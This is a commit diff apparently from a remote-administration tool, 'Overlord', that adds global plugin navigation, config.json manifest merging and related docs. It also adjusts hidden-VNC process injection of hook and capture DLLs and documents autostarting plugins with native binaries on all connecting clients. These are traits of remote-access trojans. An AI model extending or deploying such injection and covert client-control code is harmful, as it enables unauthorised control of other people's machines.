add more plugin options + don't inject in HVNC if DXGI is set to off.
This commit is contained in:
@@ -808,8 +808,12 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
|||||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||||
|
|
||||||
if len(captureDllBytes) > 0 {
|
if len(captureDllBytes) > 0 {
|
||||||
|
if !hvncDXGIEnabled.Load() {
|
||||||
|
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||||
|
} else {
|
||||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
return pid, nil
|
return pid, nil
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ import {
|
|||||||
import { mountNav } from "./nav/template.js";
|
import { mountNav } from "./nav/template.js";
|
||||||
import { createAdaptiveNavController } from "./nav/layout.js";
|
import { createAdaptiveNavController } from "./nav/layout.js";
|
||||||
import { applyUserRoleUI } from "./nav/role-ui.js";
|
import { applyUserRoleUI } from "./nav/role-ui.js";
|
||||||
|
import { loadPluginNavItems } from "./nav/plugins-loader.js";
|
||||||
|
|
||||||
const host = document.getElementById("top-nav");
|
const host = document.getElementById("top-nav");
|
||||||
if (host) {
|
if (host) {
|
||||||
@@ -38,6 +39,8 @@ if (host) {
|
|||||||
"/file-share": "file-share-link",
|
"/file-share": "file-share-link",
|
||||||
"/purgatory": "enrollment-link",
|
"/purgatory": "enrollment-link",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
loadPluginNavItems(activeMap).then(() => {
|
||||||
const activeId = activeMap[path];
|
const activeId = activeMap[path];
|
||||||
if (activeId) {
|
if (activeId) {
|
||||||
const el = document.getElementById(activeId);
|
const el = document.getElementById(activeId);
|
||||||
@@ -55,6 +58,8 @@ if (host) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
});
|
||||||
|
|
||||||
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
|
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
|
||||||
refs.logoutBtn.dataset.boundLogout = "true";
|
refs.logoutBtn.dataset.boundLogout = "true";
|
||||||
refs.logoutBtn.addEventListener("click", async () => {
|
refs.logoutBtn.addEventListener("click", async () => {
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
import { dropdownItem, sidebarChild } from "./template.js";
|
||||||
|
|
||||||
|
export async function loadPluginNavItems(activeMap) {
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/plugins");
|
||||||
|
if (!res.ok) return;
|
||||||
|
|
||||||
|
const data = await res.json();
|
||||||
|
const plugins = data.plugins;
|
||||||
|
if (!plugins || !Array.isArray(plugins)) return;
|
||||||
|
|
||||||
|
const navPlugins = plugins.filter(
|
||||||
|
(p) => p.navbar && p.enabled
|
||||||
|
);
|
||||||
|
|
||||||
|
if (navPlugins.length === 0) return;
|
||||||
|
|
||||||
|
const isSidebar = document.querySelector(".sb-group[data-group='plugin_apps']");
|
||||||
|
const wg = document.querySelector(".nav-dd-wrapper[data-group='plugin_apps']");
|
||||||
|
const container = isSidebar ? document.querySelector(".sb-group[data-group='plugin_apps']") : wg;
|
||||||
|
|
||||||
|
if (!container) return;
|
||||||
|
|
||||||
|
const childContainer = isSidebar
|
||||||
|
? container.querySelector(".sb-group-children")
|
||||||
|
: container.querySelector(".nav-dd-menu");
|
||||||
|
|
||||||
|
if (!childContainer) return;
|
||||||
|
|
||||||
|
const itemsHtml = navPlugins.map((p) => {
|
||||||
|
const linkId = `plugin-nav-${p.id}`;
|
||||||
|
activeMap[`/plugins/${p.id}`] = linkId;
|
||||||
|
|
||||||
|
const childObj = {
|
||||||
|
href: `/plugins/${p.id}`,
|
||||||
|
label: p.navbar.label || p.name,
|
||||||
|
icon: p.navbar.icon || "fa-cube",
|
||||||
|
iconColor: "text-slate-300",
|
||||||
|
linkId: linkId,
|
||||||
|
};
|
||||||
|
|
||||||
|
return isSidebar ? sidebarChild(childObj) : dropdownItem(childObj);
|
||||||
|
}).join("");
|
||||||
|
|
||||||
|
childContainer.innerHTML = itemsHtml;
|
||||||
|
container.classList.remove("hidden");
|
||||||
|
|
||||||
|
} catch (err) {
|
||||||
|
console.error("Failed to load plugin nav items", err);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,7 +4,7 @@ export const NAV_MODE_KEY = "sb_mode";
|
|||||||
NAVIGATION DATA — single source of truth
|
NAVIGATION DATA — single source of truth
|
||||||
────────────────────────────────────────────── */
|
────────────────────────────────────────────── */
|
||||||
|
|
||||||
const NAV_GROUPS = [
|
export const NAV_GROUPS = [
|
||||||
{
|
{
|
||||||
id: "clients",
|
id: "clients",
|
||||||
label: "Clients",
|
label: "Clients",
|
||||||
@@ -65,13 +65,21 @@ const NAV_GROUPS = [
|
|||||||
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
|
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
id: "plugin_apps",
|
||||||
|
label: "Plugin Apps",
|
||||||
|
icon: "fa-plug",
|
||||||
|
iconColor: "text-fuchsia-400",
|
||||||
|
hidden: true,
|
||||||
|
children: [],
|
||||||
|
}
|
||||||
];
|
];
|
||||||
|
|
||||||
/* ──────────────────────────────────────────────
|
/* ──────────────────────────────────────────────
|
||||||
TOPBAR — dropdown menus
|
TOPBAR — dropdown menus
|
||||||
────────────────────────────────────────────── */
|
────────────────────────────────────────────── */
|
||||||
|
|
||||||
function dropdownItem(child) {
|
export function dropdownItem(child) {
|
||||||
const hiddenCls = child.hidden ? " hidden" : "";
|
const hiddenCls = child.hidden ? " hidden" : "";
|
||||||
const badgeHtml = child.hasBadge
|
const badgeHtml = child.hasBadge
|
||||||
? `<span id="enrollment-badge" class="nav-dd-badge hidden"></span>`
|
? `<span id="enrollment-badge" class="nav-dd-badge hidden"></span>`
|
||||||
@@ -100,8 +108,9 @@ function dropdownGroup(group) {
|
|||||||
}
|
}
|
||||||
// Dropdown group — wrapper always visible, children control visibility
|
// Dropdown group — wrapper always visible, children control visibility
|
||||||
const items = group.children.map(dropdownItem).join("");
|
const items = group.children.map(dropdownItem).join("");
|
||||||
|
const groupHidden = group.hidden ? " hidden" : "";
|
||||||
return `
|
return `
|
||||||
<div class="nav-dd-wrapper" data-group="${group.id}">
|
<div class="nav-dd-wrapper${groupHidden}" data-group="${group.id}">
|
||||||
<button class="nav-dd-group-btn" data-group="${group.id}" aria-haspopup="true" aria-expanded="false">
|
<button class="nav-dd-group-btn" data-group="${group.id}" aria-haspopup="true" aria-expanded="false">
|
||||||
<i class="fa-solid ${group.icon} ${group.iconColor}"></i>
|
<i class="fa-solid ${group.icon} ${group.iconColor}"></i>
|
||||||
<span>${group.label}</span>
|
<span>${group.label}</span>
|
||||||
@@ -217,7 +226,7 @@ function mountTopbar(host) {
|
|||||||
SIDEBAR — tree-style expandable
|
SIDEBAR — tree-style expandable
|
||||||
────────────────────────────────────────────── */
|
────────────────────────────────────────────── */
|
||||||
|
|
||||||
function sidebarChild(child) {
|
export function sidebarChild(child) {
|
||||||
const hiddenCls = child.hidden ? " hidden" : "";
|
const hiddenCls = child.hidden ? " hidden" : "";
|
||||||
const badgeHtml = child.hasBadge
|
const badgeHtml = child.hasBadge
|
||||||
? `<span id="enrollment-badge" class="sb-badge hidden"></span>`
|
? `<span id="enrollment-badge" class="sb-badge hidden"></span>`
|
||||||
@@ -246,8 +255,9 @@ function sidebarGroup(group) {
|
|||||||
}
|
}
|
||||||
// Expandable group — wrapper always visible, children control visibility
|
// Expandable group — wrapper always visible, children control visibility
|
||||||
const childrenHtml = group.children.map(sidebarChild).join("");
|
const childrenHtml = group.children.map(sidebarChild).join("");
|
||||||
|
const groupHidden = group.hidden ? " hidden" : "";
|
||||||
return `
|
return `
|
||||||
<div class="sb-group" data-group="${group.id}">
|
<div class="sb-group${groupHidden}" data-group="${group.id}">
|
||||||
<button class="sb-group-btn" data-group="${group.id}" aria-expanded="false">
|
<button class="sb-group-btn" data-group="${group.id}" aria-expanded="false">
|
||||||
<i class="fa-solid ${group.icon} ${group.iconColor} sb-icon"></i>
|
<i class="fa-solid ${group.icon} ${group.iconColor} sb-icon"></i>
|
||||||
<span class="sb-text">${group.label}</span>
|
<span class="sb-text">${group.label}</span>
|
||||||
|
|||||||
@@ -270,6 +270,10 @@ export type PluginManifest = {
|
|||||||
css?: string;
|
css?: string;
|
||||||
js?: string;
|
js?: string;
|
||||||
};
|
};
|
||||||
|
navbar?: {
|
||||||
|
label?: string;
|
||||||
|
icon?: string;
|
||||||
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
export type PluginSignatureInfo = {
|
export type PluginSignatureInfo = {
|
||||||
|
|||||||
@@ -80,6 +80,7 @@ export async function ensurePluginExtracted(
|
|||||||
let htmlEntry: Buffer | null = null;
|
let htmlEntry: Buffer | null = null;
|
||||||
let cssEntry: Buffer | null = null;
|
let cssEntry: Buffer | null = null;
|
||||||
let jsEntry: Buffer | null = null;
|
let jsEntry: Buffer | null = null;
|
||||||
|
let configEntry: Buffer | null = null;
|
||||||
const nativeBinaries: Map<string, Buffer> = new Map();
|
const nativeBinaries: Map<string, Buffer> = new Map();
|
||||||
|
|
||||||
for (const entry of entries) {
|
for (const entry of entries) {
|
||||||
@@ -94,6 +95,8 @@ export async function ensurePluginExtracted(
|
|||||||
cssEntry = entry.getData();
|
cssEntry = entry.getData();
|
||||||
} else if (lower.endsWith(".js")) {
|
} else if (lower.endsWith(".js")) {
|
||||||
jsEntry = entry.getData();
|
jsEntry = entry.getData();
|
||||||
|
} else if (lower === "config.json") {
|
||||||
|
configEntry = entry.getData();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -114,10 +117,20 @@ export async function ensurePluginExtracted(
|
|||||||
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
|
await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
|
||||||
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
|
await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
|
||||||
|
|
||||||
|
let extraConfig: any = {};
|
||||||
|
if (configEntry) {
|
||||||
|
try {
|
||||||
|
extraConfig = JSON.parse(configEntry.toString("utf-8"));
|
||||||
|
} catch (err) {
|
||||||
|
logger.warn(`[plugin] invalid config.json in bundle ${safeId}, ignoring: ${err}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const manifest: PluginManifest = {
|
const manifest: PluginManifest = {
|
||||||
id: safeId,
|
id: safeId,
|
||||||
name: safeId,
|
name: extraConfig.name || safeId,
|
||||||
version: "1.0.0",
|
version: extraConfig.version || "1.0.0",
|
||||||
|
description: extraConfig.description,
|
||||||
binaries: binariesMap,
|
binaries: binariesMap,
|
||||||
entry: `${safeId}.html`,
|
entry: `${safeId}.html`,
|
||||||
assets: {
|
assets: {
|
||||||
@@ -125,6 +138,7 @@ export async function ensurePluginExtracted(
|
|||||||
css: `${safeId}.css`,
|
css: `${safeId}.css`,
|
||||||
js: `${safeId}.js`,
|
js: `${safeId}.js`,
|
||||||
},
|
},
|
||||||
|
...(extraConfig.navbar && { navbar: extraConfig.navbar }),
|
||||||
};
|
};
|
||||||
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
|
await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
|
||||||
|
|
||||||
|
|||||||
+96
-5
@@ -31,7 +31,8 @@ sample.zip
|
|||||||
├─ sample-windows-amd64.dll
|
├─ sample-windows-amd64.dll
|
||||||
├─ sample.html
|
├─ sample.html
|
||||||
├─ sample.css
|
├─ sample.css
|
||||||
└─ sample.js
|
├─ sample.js
|
||||||
|
└─ config.json (optional — enables navbar & metadata)
|
||||||
```
|
```
|
||||||
|
|
||||||
When the server extracts the zip:
|
When the server extracts the zip:
|
||||||
@@ -42,7 +43,7 @@ Overlord-Server/plugins/sample/
|
|||||||
├─ sample-linux-arm64.so
|
├─ sample-linux-arm64.so
|
||||||
├─ sample-darwin-arm64.dylib
|
├─ sample-darwin-arm64.dylib
|
||||||
├─ sample-windows-amd64.dll
|
├─ sample-windows-amd64.dll
|
||||||
├─ manifest.json (auto-generated)
|
├─ manifest.json (auto-generated, merged with config.json)
|
||||||
└─ assets/
|
└─ assets/
|
||||||
├─ sample.html
|
├─ sample.html
|
||||||
├─ sample.css
|
├─ sample.css
|
||||||
@@ -66,13 +67,14 @@ The server will **never** send an x64 binary to an ARM client (or vice versa). I
|
|||||||
|
|
||||||
### Manifest fields
|
### Manifest fields
|
||||||
|
|
||||||
The auto-generated manifest:
|
The auto-generated manifest (merged with `config.json` if present):
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"id": "sample",
|
"id": "sample",
|
||||||
"name": "sample",
|
"name": "Sample Plugin",
|
||||||
"version": "1.0.0",
|
"version": "1.0.0",
|
||||||
|
"description": "An example plugin",
|
||||||
"binaries": {
|
"binaries": {
|
||||||
"linux-amd64": "sample-linux-amd64.so",
|
"linux-amd64": "sample-linux-amd64.so",
|
||||||
"linux-arm64": "sample-linux-arm64.so",
|
"linux-arm64": "sample-linux-arm64.so",
|
||||||
@@ -84,10 +86,41 @@ The auto-generated manifest:
|
|||||||
"html": "sample.html",
|
"html": "sample.html",
|
||||||
"css": "sample.css",
|
"css": "sample.css",
|
||||||
"js": "sample.js"
|
"js": "sample.js"
|
||||||
|
},
|
||||||
|
"navbar": {
|
||||||
|
"label": "Sample",
|
||||||
|
"icon": "fa-cube"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
|
The `navbar` field is only present when a `config.json` is included in the bundle.
|
||||||
|
|
||||||
|
### Global Nav Bar Plugins (`config.json`)
|
||||||
|
|
||||||
|
Include an optional `config.json` in the root of your plugin zip to register the plugin in the global navigation bar. This is suited for plugins that operate across all clients (e.g. a global clipboard manager) rather than requiring a specific `?clientId=` to be selected first.
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"name": "My Plugin",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "A global plugin",
|
||||||
|
"navbar": {
|
||||||
|
"label": "My Plugin",
|
||||||
|
"icon": "fa-cube"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**`navbar.icon`** accepts any [Font Awesome 6 solid icon class](https://fontawesome.com/icons?s=solid) without the `fa-solid` prefix, e.g. `fa-clipboard`, `fa-network-wired`, `fa-key`.
|
||||||
|
|
||||||
|
When the server extracts the bundle:
|
||||||
|
- `config.json` fields are merged into the auto-generated `manifest.json`
|
||||||
|
- If the plugin is also `enabled`, it will appear in the **"Plugin Apps"** group in the sidebar/topbar
|
||||||
|
- Clicking the nav entry opens the plugin at `/plugins/<id>` — **without** a `?clientId=` parameter, suitable for global operation
|
||||||
|
|
||||||
|
> **Important:** `config.json` must be in the **root** of the zip (not inside a subfolder). The build scripts automatically include it if it exists at the plugin source root. The manifest is re-generated on every extraction (triggered when the zip is newer than `manifest.json`), so keep `config.json` in the zip to avoid losing the navbar registration on re-upload.
|
||||||
|
|
||||||
## 2) Plugin ABI (all languages)
|
## 2) Plugin ABI (all languages)
|
||||||
|
|
||||||
Every plugin — regardless of language — must export **C-callable functions** with specific signatures. The ABI differs slightly between Windows and Unix.
|
Every plugin — regardless of language — must export **C-callable functions** with specific signatures. The ABI differs slightly between Windows and Unix.
|
||||||
@@ -465,14 +498,28 @@ Plugin UI is embedded directly in the main page at:
|
|||||||
/plugins/<pluginId>?clientId=<CLIENT_ID>
|
/plugins/<pluginId>?clientId=<CLIENT_ID>
|
||||||
```
|
```
|
||||||
|
|
||||||
|
For **global nav bar plugins** (those registered via `config.json`), the UI opens without a client ID:
|
||||||
|
|
||||||
|
```
|
||||||
|
/plugins/<pluginId>
|
||||||
|
```
|
||||||
|
|
||||||
The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
|
The server reads your `<pluginId>.html`, extracts the body content, and renders it inside the standard Overlord layout. Your CSS and JS are loaded from `/plugins/<pluginId>/assets/`.
|
||||||
|
|
||||||
To get the `clientId` in your JS:
|
To get the `clientId` in your JS (for per-client plugins):
|
||||||
|
|
||||||
```js
|
```js
|
||||||
const clientId = new URLSearchParams(window.location.search).get("clientId");
|
const clientId = new URLSearchParams(window.location.search).get("clientId");
|
||||||
```
|
```
|
||||||
|
|
||||||
|
For global plugins, `clientId` will be `null`. Use `/api/clients?status=online&pageSize=1000` to enumerate connected clients and broadcast events to all of them:
|
||||||
|
|
||||||
|
```js
|
||||||
|
const res = await fetch("/api/clients?status=online&pageSize=1000");
|
||||||
|
const { items } = await res.json();
|
||||||
|
const onlineIds = items.filter(c => c.online).map(c => c.id);
|
||||||
|
```
|
||||||
|
|
||||||
## 6) Runtime: how events flow
|
## 6) Runtime: how events flow
|
||||||
|
|
||||||
Overlord plugins have **two parts**:
|
Overlord plugins have **two parts**:
|
||||||
@@ -556,6 +603,42 @@ Your plugin JS runs in the same browsing context as the main UI, so `fetch()` ca
|
|||||||
|
|
||||||
Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
|
Plugin assets (CSS, JS, images) are served from `/plugins/<pluginId>/assets/`.
|
||||||
|
|
||||||
|
### CSP-safe JavaScript
|
||||||
|
|
||||||
|
The Overlord UI enforces a **Content Security Policy** that blocks `unsafe-inline` script execution. This means:
|
||||||
|
|
||||||
|
- **No** `onclick="..."`, `onchange="..."`, or other inline event handler attributes in HTML strings
|
||||||
|
- **No** `javascript:` URLs
|
||||||
|
- **No** `eval()` or `new Function()`
|
||||||
|
|
||||||
|
When dynamically generating HTML (e.g. in a `renderRules()` function), use `data-*` attributes and event delegation instead:
|
||||||
|
|
||||||
|
```js
|
||||||
|
// ❌ Blocked by CSP
|
||||||
|
element.innerHTML = `<button onclick="removeItem(${i})">Remove</button>`;
|
||||||
|
|
||||||
|
// ✅ CSP-safe
|
||||||
|
element.innerHTML = `<button class="remove-btn" data-index="${i}">Remove</button>`;
|
||||||
|
element.addEventListener("click", (e) => {
|
||||||
|
if (!e.target.classList.contains("remove-btn")) return;
|
||||||
|
const index = parseInt(e.target.getAttribute("data-index"), 10);
|
||||||
|
removeItem(index);
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
### Avoiding redeclaration errors
|
||||||
|
|
||||||
|
Because the plugin UI is injected into a persistent single-page application, navigating away and back to a plugin page causes the plugin's JS file to be re-evaluated in the **same global scope**. Using top-level `const` / `let` declarations will throw `SyntaxError: Identifier '...' has already been declared` on the second load.
|
||||||
|
|
||||||
|
**Wrap all plugin JS in an IIFE** to scope everything locally:
|
||||||
|
|
||||||
|
```js
|
||||||
|
(() => {
|
||||||
|
const MY_CONST = "value"; // safe — scoped to this closure
|
||||||
|
// ... rest of plugin code
|
||||||
|
})();
|
||||||
|
```
|
||||||
|
|
||||||
## 8) API surface
|
## 8) API surface
|
||||||
|
|
||||||
### Plugin management
|
### Plugin management
|
||||||
@@ -598,6 +681,14 @@ When auto-load is enabled for a plugin, the server will automatically load it on
|
|||||||
|
|
||||||
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
|
You can also configure **auto-start events** — a list of events that are queued and delivered to the plugin immediately after it loads. This lets you pre-configure the plugin without any manual interaction.
|
||||||
|
|
||||||
|
### Autostart switch in global plugin UI
|
||||||
|
|
||||||
|
Global nav bar plugins (those with a `navbar` entry in `config.json`) can expose an **"Autostart on new clients"** toggle directly in their UI. This checkbox controls whether new clients that connect will automatically have the plugin loaded and the current configuration replayed.
|
||||||
|
|
||||||
|
When the switch is checked, the UI calls `POST /api/plugins/<id>/autoload` with `autoLoad: true` and the current `autoStartEvents` (rule set + start order). When unchecked, it sets `autoLoad: false` — new clients won't receive the plugin unless manually triggered.
|
||||||
|
|
||||||
|
The switch state is saved to the server and restored when the plugin page is reopened.
|
||||||
|
|
||||||
### Enable auto-load
|
### Enable auto-load
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|||||||
Reference in New Issue
Block a user